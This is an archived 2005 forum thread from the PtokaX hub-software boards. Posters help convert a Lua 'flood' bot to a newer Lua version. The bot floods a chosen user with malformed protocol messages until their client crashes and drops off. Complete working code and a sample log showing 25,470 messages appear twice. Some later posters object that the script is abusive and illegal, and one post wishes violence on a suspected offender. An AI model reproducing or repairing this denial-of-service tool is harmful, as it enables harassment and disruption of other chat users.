Text only | Text with Images

PtokaX forum

Archive => Archived 5.0 boards => Request for scripts => Topic started by: QuikThinker on 11 March, 2005, 12:26:58

Title: Flood script
Post by: QuikThinker on 11 March, 2005, 12:26:58
I use this script to flood idiot users, could sum1 convert please, I'm nearly all done ready to go!  :D
Code Select
sBotName = "?PHH?";

sFloodUser = nil;
iFloodCount = 10;

sToFloodUser = nil;

function Main()
frmHub:RegBot(sBotName);
SetTimer(10);
end

function OnTimer()
for i = 2, 20, 1 do
iFloodCount = iFloodCount + 2;
SendToNick(sFloodUser, "$Hello Flooder"..iFloodCount..sToFloodUser..iFloodCount.." $ ")
end

if(GetItemByName(sFloodUser) == nil) then
StopTimer();
SendToAll(sBotName, sFloodUser.." was flooded "..iFloodCount.." times & then got kicked the fuck outta PHH.");
iFloodCount = 0;
sFloodUser,sToFloodUser = nil,nil;
end
end

function DataArrival(curUser, sData)
local s, e, cmd, user = strfind(sData, "%b<> (%S+) (%S+)%|$");

if(cmd == nil or curUser.bOperator == nil) then return 0; end

cmd = strlower(cmd);

if(cmd == "!murder" and GetItemByName(user)) then
sFloodUser = user;
sToFloodUser = "|$To: "..sFloodUser.." From: Flooder";
SendToAll(sBotName, "?Q??KPR?T?KT? Is NoW MuRdErInG "..user..". TaKe A BrEaThEr.");
StartTimer();
end
end

Thanx in advance!
Title:
Post by: Madman on 11 March, 2005, 13:59:51
only took a quick look.. but

change this
Code Select
function [color=red]DataArrival[/color](curUser, sData)
local s, e, cmd, user = [color=red]strfind[/color](sData, "%b<> (%S+) (%S+)%|$");
to this...
Code Select
function [color=red]ChatArrival[/color](curUser, sData)
local s, e, cmd, user =  [color=red]string.find[/color](sData, "%b<> (%S+) (%S+)%|$");
The red text are thoose u need to change...
it should work then...
Title:
Post by: QuikThinker on 11 March, 2005, 14:15:05
I got this error man:
Code Select
Syntax C:\PHH-NEW\scripts\y_KillBot.lua:32: attempt to call global `strlower' (a nil value)

When I run the command I mean :)
Title:
Post by: Madman on 11 March, 2005, 14:21:24
oops... missed one...
strlower is string.lower in lua5..

Code Select
function [color=red]ChatArrival[/color](curUser, sData)
local s, e, cmd, user = [color=red]string.find[/color](sData, "%b<> (%S+) (%S+)%|$");

if(cmd == nil or curUser.bOperator == nil) then return 0; end

cmd = [color=red]string.lower[/color](cmd);

easy to fix =)
Title:
Post by: 6Marilyn6Manson6 on 11 March, 2005, 14:22:13
QuoteOriginally posted by QuikThinker
I got this error man:
Code Select
Syntax C:\PHH-NEW\scripts\y_KillBot.lua:32: attempt to call global `strlower' (a nil value)

When I run the command I mean :)


Change:
Code Select
cmd = strlower(cmd);
to:

Code Select
cmd = string.lower(cmd);
Title:
Post by: Psycho_Chihuahua on 11 March, 2005, 14:38:06
works fine now

Code Select
sBotName = "?PHH?";

sFloodUser = nil;
iFloodCount = 10;

sToFloodUser = nil;

function Main()
frmHub:RegBot(sBotName);
SetTimer(10);
end

function OnTimer()
for i = 2, 20, 1 do
iFloodCount = iFloodCount + 2;
SendToNick(sFloodUser, "$Hello Flooder"..iFloodCount..sToFloodUser..iFloodCount.." $ ")
end

if(GetItemByName(sFloodUser) == nil) then
StopTimer();
SendToAll(sBotName, sFloodUser.." was flooded "..iFloodCount.." times & then got kicked the fuck outta PHH.");
iFloodCount = 0;
sFloodUser,sToFloodUser = nil,nil;
end
end

function ChatArrival(curUser, sData)
local s, e, cmd, user = string.find(sData, "%b<> (%S+) (%S+)%|$");

if(cmd == nil or curUser.bOperator == nil) then return 0; end

cmd = string.lower(cmd);

if(cmd == "!murder" and GetItemByName(user)) then
sFloodUser = user;
sToFloodUser = "|$To: "..sFloodUser.." From: Flooder";
SendToAll(sBotName, "?Q??KPR?T?KT? Is NoW MuRdErInG "..user..". TaKe A BrEaThEr.");
StartTimer();
end
end

Result:
Code Select
[14:36] ?Q??KPR?T?KT? Is NoW MuRdErInG the_designated. TaKe A BrEaThEr.
[14:36] !murder the_designated
[14:37] the_designated was flooded 25470 times & then got kicked the fuck outta PHH.
Title:
Post by: QuikThinker on 11 March, 2005, 14:58:24
Thanx a lot guys, jus need ma Gagger script sorted n I'm done!  :D
Title:
Post by: 6Marilyn6Manson6 on 11 March, 2005, 14:59:23
QuoteOriginally posted by Psycho_Chihuahua
works fine now

Code Select
sBotName = "?PHH?";

sFloodUser = nil;
iFloodCount = 10;

sToFloodUser = nil;

function Main()
frmHub:RegBot(sBotName);
SetTimer(10);
end

function OnTimer()
for i = 2, 20, 1 do
iFloodCount = iFloodCount + 2;
SendToNick(sFloodUser, "$Hello Flooder"..iFloodCount..sToFloodUser..iFloodCount.." $ ")
end

if(GetItemByName(sFloodUser) == nil) then
StopTimer();
SendToAll(sBotName, sFloodUser.." was flooded "..iFloodCount.." times & then got kicked the fuck outta PHH.");
iFloodCount = 0;
sFloodUser,sToFloodUser = nil,nil;
end
end

function ChatArrival(curUser, sData)
local s, e, cmd, user = string.find(sData, "%b<> (%S+) (%S+)%|$");

if(cmd == nil or curUser.bOperator == nil) then return 0; end

cmd = string.lower(cmd);

if(cmd == "!murder" and GetItemByName(user)) then
sFloodUser = user;
sToFloodUser = "|$To: "..sFloodUser.." From: Flooder";
SendToAll(sBotName, "?Q??KPR?T?KT? Is NoW MuRdErInG "..user..". TaKe A BrEaThEr.");
StartTimer();
end
end

Result:
Code Select
[14:36] ?Q??KPR?T?KT? Is NoW MuRdErInG the_designated. TaKe A BrEaThEr.
[14:36] !murder the_designated
[14:37] the_designated was flooded 25470 times & then got kicked the fuck outta PHH.


Eheheheh psycho... not difficulty change my correction in script of Quickthink correct madman :P
Title:
Post by: QuikThinker on 11 March, 2005, 15:29:42
Jus found a problem, I went in as NetFounder which is my profile and tried murderin myself as an OP on another client and found to my peril that it's possible  8o

So I'm gonna need an adjustment so basically NetFounder can murder any1, Masters can do every1 below & equal to masters, Mods every1 and equal to Mods etc... down to OP.
Cany any1 help?
Title:
Post by: Pothead on 11 March, 2005, 20:48:40
This script was originally made my Phatty. He removed it from the forum because people were abusing it.  I think we should respect his decision, and remove this topic.  :)
Title:
Post by: QuikThinker on 11 March, 2005, 20:56:46
No disrespect but shouldn't it be at the hubowner's discrection what scripts they use? Let's be honest if a particular hub was abusing this script it wouldn't have many users  ?(
Title:
Post by: plop on 13 March, 2005, 14:31:00
QuoteOriginally posted by QuikThinker
No disrespect but shouldn't it be at the hubowner's discrection what scripts they use? Let's be honest if a particular hub was abusing this script it wouldn't have many users  ?(
the hub owner never has the right 2 crash the client of any user, this is called hacking and is highly illegal.
in other words the user isn't stupid, it's the hubowner/ops who are using it.
beside your wasting valuable upload bw.
ban the user if you wanna get rid of him.

plop
Title:
Post by: Cid on 13 March, 2005, 14:42:07
i dont mind doing an illegal act against a kidpornsharer. if i could i would put a bullet in his head...
Title:
Post by: ??????Hawk?????? on 13 March, 2005, 15:16:02
if your going to do this kind of thing to users  DONT come moaning here whan someone takes your hub down by doing the same back..

Dont Give out What you dont want returned..


??????Hawk??????
Title:
Post by: plop on 13 March, 2005, 20:42:20
QuoteOriginally posted by Cid
i dont mind doing an illegal act against a kidpornsharer. if i could i would put a bullet in his head...
what about doing something legal like reporting his ip to his isp or some organisation which is handling these things.
that way you can make him suffer.

plop
Title: well then..
Post by: UwV on 13 March, 2005, 21:14:20
this post might be "going somewhere" in the end ..  ;0)
(no disrespect but i think the same script should be deleted)..
 

Quoteaa
what about doing something legal like reporting his ip to his isp or some organisation which is handling these things.
that way you can make him suffer.

plop

yse plop what about ,,
a script to do that for us ..

 !reportpervert

and it would automaticly send an email to the users provider & "the proper authority's",..  
   and next? it would make us  coffee .. ;)

"proper authority's would proof to be more difficult .. unless we find a world wide list of "perv-squad-emailadresses" or maybe there is some international oranisation with a e-mail address ?..
Text only | Text with Images